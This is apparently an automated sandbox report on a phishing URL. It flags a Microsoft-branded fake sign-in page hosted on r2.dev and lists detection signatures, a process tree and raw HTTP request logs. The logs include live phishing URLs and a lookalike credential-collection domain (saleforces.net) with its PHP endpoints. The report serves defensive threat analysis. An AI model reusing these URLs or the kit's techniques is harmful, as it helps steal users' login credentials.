Edit tour

Windows Analysis Report
http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye

Overview

General Information

Sample URL:	http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye
Analysis ID:	1428417
Infos:

Detection

HTMLPhisher

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish10

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML page contains hidden URLs or javascript code

HTML title does not match URL

Invalid 'forgot password' link found

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5844 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6604 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2032,i,2131495140126217569,7822506574545057631,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2612 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Phishing site detected (based on favicon image match)

Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=	Matcher: Template: microsoft matched with high similarity
Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=#	Matcher: Template: microsoft matched with high similarity

Yara detected HtmlPhish10

Source: Yara match	File source: 0.5.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 2.7.pages.csv, type: HTML

Phishing site detected (based on image similarity)

Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=	Matcher: Template: microsoft matched
Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=#	Matcher: Template: microsoft matched
Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=#	Matcher: Template: microsoft matched

Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=	HTTP Parser: Number of links: 0
Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=#	HTTP Parser: Number of links: 0

Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=#	HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=	HTTP Parser: Total embedded image size: 31111
Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=#	HTTP Parser: Total embedded image size: 31111

Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=

HTTP Parser: Base64 decoded: https://www.saleforces.net/hosuyyuiuyt/72dae30.php

Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=	HTTP Parser: Title: Sign in to Best Productivity Provider! does not match URL
Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=#	HTTP Parser: Title: Sign in to Best Productivity Provider! does not match URL

Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=	HTTP Parser: Invalid link: Forgot my password
Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=#	HTTP Parser: Invalid link: Forgot my password

Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=	HTTP Parser: <input type="password" .../> found
Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=#	HTTP Parser: <input type="password" .../> found

Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=	HTTP Parser: No favicon
Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=	HTTP Parser: No favicon
Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/0y69g/1x00000000000000000000AA/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/0y69g/1x00000000000000000000AA/auto/normal	HTTP Parser: No favicon

Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=	HTTP Parser: No <meta name="author".. found
Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=#	HTTP Parser: No <meta name="author".. found
Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=#	HTTP Parser: No <meta name="author".. found

Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=#	HTTP Parser: No <meta name="copyright".. found
Source: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=#	HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49733 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 23.63.206.91:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.63.206.91:443 -> 192.168.2.5:49719 version: TLS 1.2

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49733 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.63.206.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ghoopuh/lopwiuiye HTTP/1.1Host: wzxqi.theknittingdoula.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ghoopuh/lopwiuiye/ HTTP/1.1Host: wzxqi.theknittingdoula.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e= HTTP/1.1Host: pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.devConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/54ea73d52131/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/0y69g/1x00000000000000000000AA/auto/normal HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8767841db9f51399 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/0y69g/1x00000000000000000000AA/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/0y69g/1x00000000000000000000AA/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hosuyyuiuyt/admin/js/sc.php?r=ZW0sZW1haWwsYWRk HTTP/1.1Host: www.saleforces.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hosuyyuiuyt/72dae30.php HTTP/1.1Host: www.saleforces.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/4.7.0/css/font-awesome.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.devsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hosuyyuiuyt/72dae30.php HTTP/1.1Host: www.saleforces.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9scqo67nnhhjl7pcg1sei2b889
